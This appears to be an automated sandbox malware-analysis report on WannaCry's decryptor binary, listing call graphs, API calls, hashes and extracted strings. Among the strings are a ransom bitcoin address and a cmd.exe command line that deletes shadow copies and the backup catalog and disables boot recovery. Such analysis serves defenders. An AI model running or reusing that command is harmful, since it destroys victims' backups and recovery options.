5855->5857 5859 409685 #2414 #2414 5856->5859 5860 40967d #5875 5856->5860 5857->5856 5858->5855 5859->5846 5860->5859 5863 409880 #2414 5862->5863 5863->5849 6323 406ef0 6324 406f03 #823 6323->6324 6325 406f6a 6323->6325 6324->6325 6326 406f25 SendMessageA ShellExecuteA #825 6324->6326 6326->6325 6061 4011f0 6062 40120b #5280 6061->6062 6063 4011fd 6061->6063 6063->6062 6064 401203 6063->6064 6065 4019f0 #765 6066 401a08 6065->6066 6067 4019ff #825 6065->6067 6067->6066 6068 4059f0 6069 4059f8 6068->6069 6070 405a08 6069->6070 6071 4059ff #825 6069->6071 6071->6070 6487 4067f0 IsIconic 6488 406808 7 API calls 6487->6488 6489 40689a #2379 6487->6489 6490 409ff0 ExtTextOutA 5871 405080 5876 4050a0 #800 #795 5871->5876 5873 405088 5874 405098 5873->5874 5875 40508f #825 5873->5875 5875->5874 5876->5873 5865 40d880 5868 40d0a0 time srand rand 5865->5868 5867 40d88f 5869 40d0e1 5868->5869 5870 40d0d3 rand 5868->5870 5869->5867 5870->5869 5870->5870 6078 403180 6083 4031a0 #2414 #2414 #616 #693 #641 6078->6083 6080 403188 6081 403198 6080->6081 6082 40318f #825 6080->6082 6082->6081 6083->6080 6084 405580 GetClientRect 6085 4055c7 7 API calls 6084->6085 6086 4057c9 6084->6086 6087 405666 6085->6087 6088 405669 #5785 CreateSolidBrush FillRect 6085->6088 6087->6088 6089 405770 6 API calls 6088->6089 6092 4056b2 6088->6092 6089->6086 6091 4056cd BitBlt 6091->6092 6092->6089 6092->6091 6093 408580 #609 6094 408598 6093->6094 6095 40858f #825 6093->6095 6095->6094 6328 404280 6329 404290 6328->6329 6330 40428b 6328->6330 6332 4042a0 #6663 6329->6332 6333 4042fd #2379 6329->6333 6331 404530 5 API calls 6330->6331 6331->6329 6334 4042b5 GetParent #2864 SendMessageA #2379 6332->6334 6335 4042e7 ShellExecuteA 6332->6335 6335->6333 6491 406380 6496 405e10 #2414 #2414 #2414 #2414 6491->6496 6493 406388 6494 406398 6493->6494 6495 40638f #825 6493->6495 6495->6494 6525 403f20 #2414 6496->6525 6498 405ed6 6526 403f20 #2414 6498->6526 6500 405eec 6527 403f20 #2414 6500->6527 6502 405f02 6528 403f20 #2414 6502->6528 6504 405f18 #2414 6529 403f20 #2414 6504->6529 6506 405f50 6530 403f20 #2414 6506->6530 6508 405f66 6531 403f20 #2414 6508->6531 6510 405f7c 6 API calls 6532 4050a0 #800 #795 6510->6532 6512 405ffe 6533 4050a0 #800 #795 6512->6533 6514 40600e 6534 404170 #2414 #800 #800 #795 6514->6534 6516 40601e 6535 404170 #2414 #800 #800 #795 6516->6535 6518 40602e 6536 404170 #2414 #800 #800 #795 6518->6536 6520 40603e 6537 404170 #2414 #800 #800 #795 6520->6537 6522 40604e #654 #765 6538 405d90 #654 #765 6522->6538 6524 406087 #609 #609 #616 #641 6524->6493 6525->6498 6526->6500 6527->6502 6528->6504 6529->6506 6530->6508 6531->6510 6532->6512 6533->6514 6534->6516 6535->6518 6536->6520 6537->6522 6538->6524 6539 409b80 6540 409b99 6539->6540 6541 409ba5 #2379 6540->6541 6542 409b9d 6540->6542 6543 40db80 recv 5405 407a90 5406 407bf4 #2385 5405->5406 5407 407abd 5405->5407 5407->5406 5414 404c40 #324 #540 #860 5407->5414 5409 407ae2 #2514 5410 407b72 #2414 #2414 #800 #641 5409->5410 5411 407afb 6 API calls 5409->5411 5410->5406 5412 4082c0 141 API calls 5411->5412 5413 407b61 #800 5412->5413 5413->5410 5414->5409 6096 404d90 #2370 #2289 5877 401091 5882 4010c0 #765 #641 5877->5882 5879 4010a8 5880 4010b8 5879->5880 5881 4010af #825 5879->5881 5881->5880 5882->5879 6336 414290 #825 5883 4098a0 5888 4097e0 5883->5888 5885 4098a8 5886 4098b8 5885->5886 5887 4098af #825 5885->5887 5887->5886 5889 409815 5888->5889 5890 40981e #2414 #2414 5888->5890 5889->5890 5890->5885 5891 40a0a0 5892 40a0a8 5891->5892 5893 40a0ab GrayStringA 5891->5893 5892->5893 5415 40d6a0 htons socket 5416 40d6f3 bind 5415->5416 5417 40d814 5415->5417 5418 40d717 ioctlsocket 5416->5418 5419 40d809 5416->5419 5418->5419 5420 40d732 connect select 5418->5420 5419->5417 5421 40d80d closesocket 5419->5421 5420->5419 5422 40d78b __WSAFDIsSet 5420->5422 5421->5417 5423 40d79a __WSAFDIsSet 5422->5423 5424 40d7ac ioctlsocket setsockopt setsockopt 5422->5424 5423->5419 5423->5424 6343 40c6a0 6344 40c6b8 6343->6344 6345 40c6aa 6343->6345 6345->6344 6346 40c6be #825 6345->6346 6346->6344 5426 4063a0 15 API calls 6115 4085a0 #781 6116 4085b8 6115->6116 6117 4085af #825 6115->6117 6117->6116 5900 4034a0 6 API calls 6101 4035a0 SendMessageA 6102 4035e5 OpenClipboard 6101->6102 6103 4037e9 6101->6103 6102->6103 6104 4035f7 SendMessageA 6102->6104 6105 403681 GlobalAlloc 6104->6105 6106 40360f #3301 #924 #800 #800 SendMessageA 6104->6106 6107 4037e3 CloseClipboard 6105->6107 6108 40369b GlobalLock 6105->6108 6106->6105 6106->6106 6107->6103 6109 4036b6 SendMessageA 6108->6109 6110 4036aa GlobalFree 6108->6110 6111 4037c3 GlobalUnlock EmptyClipboard SetClipboardData 6109->6111 6112 4036d6 8 API calls 6109->6112 6110->6107 6111->6107 6114 4037bf 6112->6114 6114->6111 6347 404aa3 6348 404ab1 6347->6348 6349 404aaa GlobalFree 6347->6349 6350 404ac0 6348->6350 6351 404ab9 CloseHandle 6348->6351 6349->6348 6351->6350 5901 407cb0 5904 4030e0 #324 #567 #567 5901->5904 5903 407cd6 6 API calls 5904->5903 6118 407db0 6125 401000 #324 #567 6118->6125 6120 407dd7 time 6121 407e09 #2514 6120->6121 6122 407dfe 6120->6122 6123 407e34 #765 #641 6121->6123 6124 407e28 time 6121->6124 6122->6121 6124->6123 6125->6120 6352 40ceb0 6353 40cebc 6352->6353 6354 4130bb 2 API calls 6353->6354 6355 40ceda 6354->6355 5428 4102b0 calloc

                                                                                                                          Executed Functions

                                                                                                                          Function 004080C0 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 143fileCOMMON
                                                                                                                          Download Yara Rule

                                                                                                                          Control-flow Graph

                                                                                                                          • Executed
                                                                                                                          • Not Executed
                                                                                                                          control_flow_graph 190 4080c0-40811e FindFirstFileA 191 408124-40812a 190->191 192 40820a-40828f call 401e30 * 2 sprintf #537 call 4082c0 190->192 194 408130-408138 191->194 210 408291-4082a9 #537 call 4082c0 192->210 211 4082ae-4082b8 192->211 196 4081e4-4081f9 FindNextFileA 194->196 197 40813e-408152 194->197 196->194 198 4081ff-408206 FindClose 196->198 197->196 200 408158-408176 sscanf 197->200 198->192 200->196 202 408178-40818e fopen 200->202 202->196 204 408190-4081a8 fread 202->204 206 4081aa-4081b7 204->206 207 4081bd-4081d0 fclose 204->207 206->207 208 4081b9 206->208 207->196 209 4081d2-4081e2 207->209 208->207 209->196 210->211
                                                                                                                          APIs
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: Find$#537File$CloseFirstNextfclosefopenfreadsprintfsscanf
                                                                                                                          • String ID: %08X.res$*.res$---%s%s%d%I64d%d
                                                                                                                          • API String ID: 1530363904-2310201135
                                                                                                                          • Opcode ID: 246f558812f6a4b1f5d00500c0ea839226a98d7eebb8d8b9e36566a9c1167d01
                                                                                                                          • Instruction ID: f4d275e2d06bc6c2fe64a46714bc06f3fac9236f3415a442fab0096444624429
                                                                                                                          • Opcode Fuzzy Hash: 246f558812f6a4b1f5d00500c0ea839226a98d7eebb8d8b9e36566a9c1167d01
                                                                                                                          • Instruction Fuzzy Hash: F051B370604740ABD634CB24DD45BEF77E9EFC4314F00492EF98897291DB78AA098B9A
                                                                                                                          Function 0040D6A0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 120networkCOMMON
                                                                                                                          Download Yara Rule

                                                                                                                          Control-flow Graph

                                                                                                                          • Executed
                                                                                                                          • Not Executed
                                                                                                                          control_flow_graph 213 40d6a0-40d6ed htons socket 214 40d6f3-40d711 bind 213->214 215 40d814-40d821 213->215 216 40d717-40d72c ioctlsocket 214->216 217 40d809-40d80b 214->217 216->217 218 40d732-40d789 connect select 216->218 217->215 219 40d80d-40d80e closesocket 217->219 218->217 220 40d78b-40d798 __WSAFDIsSet 218->220 219->215 221 40d79a-40d7aa __WSAFDIsSet 220->221 222 40d7ac-40d806 ioctlsocket setsockopt * 2 220->222 221->217 221->222
                                                                                                                          APIs
                                                                                                                          • htons.WS2_32 ref: 0040D6C7
                                                                                                                          • socket.WS2_32(00000002,00000001,00000006), ref: 0040D6E1
                                                                                                                          • bind.WS2_32(00000000,?,00000010), ref: 0040D709
                                                                                                                          • ioctlsocket.WS2_32(00000000,8004667E,?), ref: 0040D728
                                                                                                                          • connect.WS2_32(00000000,?,00000010), ref: 0040D73A
                                                                                                                          • select.WS2_32(00000001,?,?,00000000,00000001), ref: 0040D781
                                                                                                                          • __WSAFDIsSet.WS2_32(00000000,?), ref: 0040D791
                                                                                                                          • __WSAFDIsSet.WS2_32(00000000,?), ref: 0040D7A3
                                                                                                                          • ioctlsocket.WS2_32(00000000,8004667E,?), ref: 0040D7BB
                                                                                                                          • setsockopt.WS2_32(00000000), ref: 0040D7DD
                                                                                                                          • setsockopt.WS2_32(00000000,0000FFFF,00001005,?,00000004), ref: 0040D7F1
                                                                                                                          • closesocket.WS2_32(00000000), ref: 0040D80E
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: ioctlsocketsetsockopt$bindclosesocketconnecthtonsselectsocket
                                                                                                                          • String ID: `
                                                                                                                          • API String ID: 478405425-1850852036
                                                                                                                          • Opcode ID: 207a0d99be8aa74ddfaa5851ea6aa8d1a80ed73a610e947c43882b9ed202ce50
                                                                                                                          • Instruction ID: 6de462713d41b41c0891f3cf9d152f402d0f08cb5dc9382bbec9442f00cca922
                                                                                                                          • Opcode Fuzzy Hash: 207a0d99be8aa74ddfaa5851ea6aa8d1a80ed73a610e947c43882b9ed202ce50
                                                                                                                          • Instruction Fuzzy Hash: 83418372504341AED320DF55DC84EEFB7E8EFC8714F40892EF558D6290E7B495088BAA
                                                                                                                          Function 00411CF0 Relevance: 21.4, APIs: 8, Strings: 4, Instructions: 450COMMON
                                                                                                                          Download Yara Rule

                                                                                                                          Control-flow Graph

                                                                                                                          • Executed
                                                                                                                          • Not Executed
                                                                                                                          control_flow_graph 224 411cf0-411d0b 225 412231-41223f 224->225 226 411d11-411d16 224->226 226->225 227 411d1c-411d1f 226->227 228 411d21-411d27 call 411ac0 227->228 229 411d2a-411d35 227->229 228->229 231 411d37-411d39 229->231 232 411d5a-411d5c 229->232 234 411d3b-411d57 231->234 235 411d5e-411db2 231->235 232->235 236 411db5-411dba 232->236 237 411dc5-411dca 236->237 238 411dbc-411dc2 call 411390 236->238 239 411ddc-411e1a call 411350 call 411460 237->239 240 411dcc-411dda call 4113e0 237->240 238->237 249 411e2d-411e43 call 410a50 239->249 250 411e1c-411e2a 239->250 240->239 253 411e45-411e53 249->253 254 411e56-411e73 #823 call 410af0 249->254 256 411e78-411e81 254->256 257 411e83-411e9a #825 256->257 258 411e9d-411ed9 256->258 259 411ee0-411ee4 258->259 260 411ef0-411ef2 259->260 261 411ee6-411ee9 259->261 263 411ef4-411ef5 260->263 264 411ef7-411ef9 260->264 261->260 262 411eeb-411eee 261->262 262->259 263->259 265 411efb-411efc 264->265 266 411efe-411f0e _mbsstr 264->266 265->259 267 411f10-411f13 266->267 268 411f15-411f25 _mbsstr 266->268 267->259 269 411f27-411f2a 268->269 270 411f2c-411f3c _mbsstr 268->270 269->259 271 411f43-411f53 _mbsstr 270->271 272 411f3e-411f41 270->272 273 411f55-411f58 271->273 274 411f5a-411fa2 271->274 272->259 273->259 275 411fb3-411fda 274->275 276 411fa4-411fa7 274->276 278 411fdc-411fe6 275->278 276->275 277 411fa9-411fac 276->277 277->275 279 411fae-411fb1 277->279 280 411ff2-411ff4 278->280 281 411fe8 278->281 279->275 279->278 282 412004-41200a 280->282 283 411ff6-411ffe 280->283 281->280 284 41201a-41201c 282->284 285 41200c-412014 282->285 283->282 286 41202c-412037 284->286 287 41201e-412026 284->287 285->284 288 412039 286->288 289 41203f-4120b0 call 411b80 LocalFileTimeToFileTime 286->289 287->286 288->289 292 4121f2 289->292 293 4120b6-4120ba 289->293 295 4121f6-4121f8 292->295 294 4120bf-4120d3 293->294 296 4120d7-4120dd 294->296 297 412203-41222e 295->297 298 4121fa-412200 #825 295->298 299 4120fb-4120fd 296->299 300 4120df-4120e1 296->300 298->297 303 412100-412102 299->303 301 4120e3-4120eb 300->301 302 4120f7-4120f9 300->302 301->299 304 4120ed-4120f5 301->304 302->303 305 412104-412117 303->305 306 41211e-41213c 303->306 304->296 304->302 305->294 309 412119 305->309 307 412179-41217b 306->307 308 41213e-412173 call 411b50 306->308 311 4121b8-4121ba 307->311 312 41217d-4121b2 call 411b50 307->312 308->307 309->295 311->295 315 4121bc-4121f0 call 411b50 311->315 312->311 315->295
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID:
                                                                                                                          • String ID: /../$/..\$\../$\..\
                                                                                                                          • API String ID: 0-3885502717
                                                                                                                          • Opcode ID: 7d6ef6a52ff4410ad19eb11cd9c330808c5283bc933d9f5bd631f0e03c4a71b4
                                                                                                                          • Instruction ID: 7e1d0207c54717434a39a3e8c1400c014a600b9e0d7efc558eb6bad2cf7342ef
                                                                                                                          • Opcode Fuzzy Hash: 7d6ef6a52ff4410ad19eb11cd9c330808c5283bc933d9f5bd631f0e03c4a71b4
                                                                                                                          • Instruction Fuzzy Hash: FAF138756043414FC724CF2888817EBBBE1ABD8304F18892EEDD9CB351D679E989C799
                                                                                                                          Function 004082C0 Relevance: 47.4, APIs: 21, Strings: 6, Instructions: 181fileCOMMON
                                                                                                                          Download Yara Rule

                                                                                                                          Control-flow Graph

                                                                                                                          APIs
                                                                                                                          • #4278.MFC42(000003E8,00000000,000003E8,?,?,763F5C80), ref: 0040830D
                                                                                                                          • #858.MFC42 ref: 00408322
                                                                                                                          • #800.MFC42 ref: 00408332
                                                                                                                          • #1200.MFC42(Too short message!,00000000,00000000,?,?,763F5C80), ref: 00408354
                                                                                                                          • #800.MFC42 ref: 0040836B
                                                                                                                          • time.MSVCRT(00000000,?,?,763F5C80), ref: 0040837F
                                                                                                                          • #540.MFC42 ref: 004083C8
                                                                                                                          • time.MSVCRT ref: 004083D6
                                                                                                                          • #2818.MFC42(?,You are sending too many mails! Please try again %d minutes later.,0000003D,00000000), ref: 0040840A
                                                                                                                          • #1200.MFC42(?,00000000,00000000,?,?,?,00000000), ref: 00408419
                                                                                                                          • #800.MFC42(?,00000000,00000000,?,?,?,00000000), ref: 00408429
                                                                                                                          • #800.MFC42 ref: 00408440
                                                                                                                          • time.MSVCRT(00000000), ref: 0040844E
                                                                                                                          • fopen.MSVCRT ref: 00408487
                                                                                                                          • #800.MFC42 ref: 004084A8
                                                                                                                          • fread.MSVCRT ref: 004084C2
                                                                                                                          • fclose.MSVCRT ref: 004084C9
                                                                                                                          • #1200.MFC42(Your message has been sent successfully!,00000040,00000000), ref: 00408522
                                                                                                                          • time.MSVCRT(00000000,Your message has been sent successfully!,00000040,00000000), ref: 00408528
                                                                                                                          • #1200.MFC42(Failed to send your message!Please make sure that your computer is connected to the Internet and your Internet Service Provider (ISP) does not block connections to the TOR Network!,00000030,00000000), ref: 00408544
                                                                                                                          • #800.MFC42 ref: 0040855B
                                                                                                                          Strings
                                                                                                                          • Too short message!, xrefs: 0040834F
                                                                                                                          • You are sending too many mails! Please try again %d minutes later., xrefs: 00408404
                                                                                                                          • Your message has been sent successfully!, xrefs: 0040851D
                                                                                                                          • 00000000.res, xrefs: 00408480
                                                                                                                          • Failed to send your message!Please make sure that your computer is connected to the Internet and your Internet Service Provider (ISP) does not block connections to the TOR Network!, xrefs: 0040853F
                                                                                                                          • s.wnry, xrefs: 004084DD
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #800$#1200time$#2818#4278#540#858fclosefopenfread
                                                                                                                          • String ID: 00000000.res$Failed to send your message!Please make sure that your computer is connected to the Internet and your Internet Service Provider (ISP) does not block connections to the TOR Network!$Too short message!$You are sending too many mails! Please try again %d minutes later.$Your message has been sent successfully!$s.wnry
                                                                                                                          • API String ID: 1233543560-382338106
                                                                                                                          • Opcode ID: 6aef2977620d67d742a0f30d3b6c329b2d4c4f80cce0edf1bcad665571c82898
                                                                                                                          • Instruction ID: 9ef4e74ff6f5855000ff98dc085b89da37e67c7abdef0d08bf307c22ead08a72
                                                                                                                          • Opcode Fuzzy Hash: 6aef2977620d67d742a0f30d3b6c329b2d4c4f80cce0edf1bcad665571c82898
                                                                                                                          • Instruction Fuzzy Hash: D6610371604340EFD330EB28DD81BEFB795AB90324F444A3EF199932D0DB78594586AB
                                                                                                                          Function 004064D0 Relevance: 44.0, APIs: 20, Strings: 5, Instructions: 256stringwindowtimeCOMMON
                                                                                                                          Download Yara Rule

                                                                                                                          Control-flow Graph

                                                                                                                          APIs
                                                                                                                          • #4710.MFC42 ref: 004064DC
                                                                                                                          • SendMessageA.USER32(?,00000080,00000001,?), ref: 004064F9
                                                                                                                          • SendMessageA.USER32(?,00000080,00000000,?), ref: 0040650D
                                                                                                                            • Part of subcall function 00401C70: wcscat.MSVCRT ref: 00401CC1
                                                                                                                            • Part of subcall function 00401C70: RegCreateKeyW.ADVAPI32(80000001,?,?), ref: 00401D00
                                                                                                                            • Part of subcall function 00401C70: GetCurrentDirectoryA.KERNEL32(00000207,?), ref: 00401D2A
                                                                                                                            • Part of subcall function 00401C70: RegSetValueExA.ADVAPI32(?,0041FDC4,00000000,00000001,?), ref: 00401D53
                                                                                                                            • Part of subcall function 00401C70: RegCloseKey.KERNELBASE(00000000), ref: 00401DA3
                                                                                                                          • GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 00406541
                                                                                                                          • strrchr.MSVCRT ref: 00406554
                                                                                                                          • strrchr.MSVCRT ref: 00406564
                                                                                                                          • SetCurrentDirectoryA.KERNEL32(?), ref: 00406571
                                                                                                                          • time.MSVCRT(00000000), ref: 004065D1
                                                                                                                          • __p___argc.MSVCRT(00000202,?), ref: 004065FA
                                                                                                                          • __p___argv.MSVCRT ref: 0040661A
                                                                                                                          • ExitProcess.KERNEL32 ref: 0040665B
                                                                                                                          • __p___argv.MSVCRT ref: 00406666
                                                                                                                          • ExitProcess.KERNEL32 ref: 004066A7
                                                                                                                          • __p___argv.MSVCRT ref: 004066B2
                                                                                                                          • Sleep.KERNEL32(00002710), ref: 004066F3
                                                                                                                          • sprintf.MSVCRT ref: 0040676A
                                                                                                                          • ExitProcess.KERNEL32 ref: 00406786
                                                                                                                          • SetWindowTextW.USER32(?,Wana Decrypt0r 2.0), ref: 0040679C
                                                                                                                          • SetTimer.USER32(?,000003E9,000003E8,00000000), ref: 004067C6
                                                                                                                          • SetTimer.USER32(?,000003EA,00007530,00000000), ref: 004067D8
                                                                                                                          Strings
                                                                                                                          • 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94, xrefs: 00406595
                                                                                                                          • /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet, xrefs: 004066FE
                                                                                                                          • cmd.exe, xrefs: 0040671C
                                                                                                                          • Wana Decrypt0r 2.0, xrefs: 00406796
                                                                                                                          • %s %s, xrefs: 00406764
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: ExitProcess__p___argv$CurrentDirectoryMessageSendTimerstrrchr$#4710CloseCreateFileModuleNameSleepTextValueWindow__p___argcsprintftimewcscat
                                                                                                                          • String ID: %s %s$/c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet$13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94$Wana Decrypt0r 2.0$cmd.exe
                                                                                                                          • API String ID: 623806192-606506946
                                                                                                                          • Opcode ID: ae9b914f860960fc1fe1eb8876ac2c32c64d9403cfc96aba4f43f79c31e3e0e0
                                                                                                                          • Instruction ID: 76468553a1f47653d6b265dfd970fa21b418b24b97d30d9546a7e2687b9e40c0
                                                                                                                          • Opcode Fuzzy Hash: ae9b914f860960fc1fe1eb8876ac2c32c64d9403cfc96aba4f43f79c31e3e0e0
                                                                                                                          • Instruction Fuzzy Hash: 72816C35704301ABD7109F309C41BEB7B95AF99304F15493AFD4AAB3D1DA7AE8188B98
                                                                                                                          Function 004060E0 Relevance: 35.1, APIs: 16, Strings: 4, Instructions: 139windowCOMMON
                                                                                                                          Download Yara Rule

                                                                                                                          Control-flow Graph

                                                                                                                          APIs
                                                                                                                          • #324.MFC42(00000066,00000000,?,?,?,?,?,00000000,00413E0B,000000FF,00405AAB,00000000), ref: 00406107
                                                                                                                          • #567.MFC42(00000066,00000000,?,?,?,?,?,00000000,00413E0B,000000FF,00405AAB,00000000), ref: 00406117
                                                                                                                          • #567.MFC42(00000066,00000000), ref: 0040612F
                                                                                                                          • #567.MFC42(00000066,00000000), ref: 00406147
                                                                                                                            • Part of subcall function 004085C0: #567.MFC42(00000000,?,?,?,000000FF,00405AAB,00000000), ref: 004085E2
                                                                                                                            • Part of subcall function 004085C0: #341.MFC42(00000000,?,?,?,000000FF,00405AAB,00000000), ref: 004085F6
                                                                                                                            • Part of subcall function 004085C0: GetSysColor.USER32 ref: 0040861D
                                                                                                                            • Part of subcall function 004085C0: GetSysColor.USER32(00000009), ref: 00408624
                                                                                                                            • Part of subcall function 004085C0: GetSysColor.USER32(00000012), ref: 0040862B
                                                                                                                            • Part of subcall function 004085C0: GetSysColor.USER32(00000002), ref: 00408632
                                                                                                                            • Part of subcall function 004085C0: KiUserCallbackDispatcher.NTDLL(00001008,00000000,00000000,00000000), ref: 0040864A
                                                                                                                            • Part of subcall function 004085C0: GetSysColor.USER32(0000001B), ref: 0040865C
                                                                                                                            • Part of subcall function 004085C0: #6140.MFC42(00000002,000000FF), ref: 00408667
                                                                                                                            • Part of subcall function 00404090: #567.MFC42(?,?,?,?,?,?,00413739,000000FF), ref: 004040B0
                                                                                                                            • Part of subcall function 00404090: #540.MFC42(?,?,?,?,?,?,00413739,000000FF), ref: 004040C6
                                                                                                                            • Part of subcall function 00404090: #540.MFC42(?,?,?,?,?,?,00413739,000000FF), ref: 004040D5
                                                                                                                            • Part of subcall function 00404090: #860.MFC42(00421798), ref: 004040F6
                                                                                                                            • Part of subcall function 00404090: #858.MFC42(00000000,00421798), ref: 004040FE
                                                                                                                            • Part of subcall function 00404090: LoadCursorA.USER32(00000000,00007F89), ref: 00404118
                                                                                                                            • Part of subcall function 00404090: LoadCursorA.USER32(00000000,00007F00), ref: 00404123
                                                                                                                            • Part of subcall function 00405000: #567.MFC42(?,?,?,?,00413893,000000FF), ref: 0040501E
                                                                                                                            • Part of subcall function 00405000: #540.MFC42(?,?,?,?,00413893,000000FF), ref: 00405032
                                                                                                                          • #567.MFC42(00000066,00000000), ref: 004061DF
                                                                                                                          • #540.MFC42(00000066,00000000), ref: 004061F7
                                                                                                                          • #540.MFC42(00000066,00000000), ref: 00406209
                                                                                                                          • #540.MFC42(00000066,00000000), ref: 00406219
                                                                                                                          • #540.MFC42(00000066,00000000), ref: 00406229
                                                                                                                          • #860.MFC42(00421798,00000066,00000000), ref: 004062F7
                                                                                                                          • #860.MFC42(00421798,00421798,00000066,00000000), ref: 00406303
                                                                                                                          • #860.MFC42(00421798,00421798,00421798,00000066,00000000), ref: 00406313
                                                                                                                          • #1168.MFC42(00421798,00421798,00421798,00000066,00000000), ref: 00406318
                                                                                                                          • #1146.MFC42(00000080,0000000E,00000080,00421798,00421798,00421798,00000066,00000000), ref: 00406329
                                                                                                                          • LoadIconA.USER32(00000000,00000080), ref: 0040632F
                                                                                                                          • #860.MFC42(00421798), ref: 00406358
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
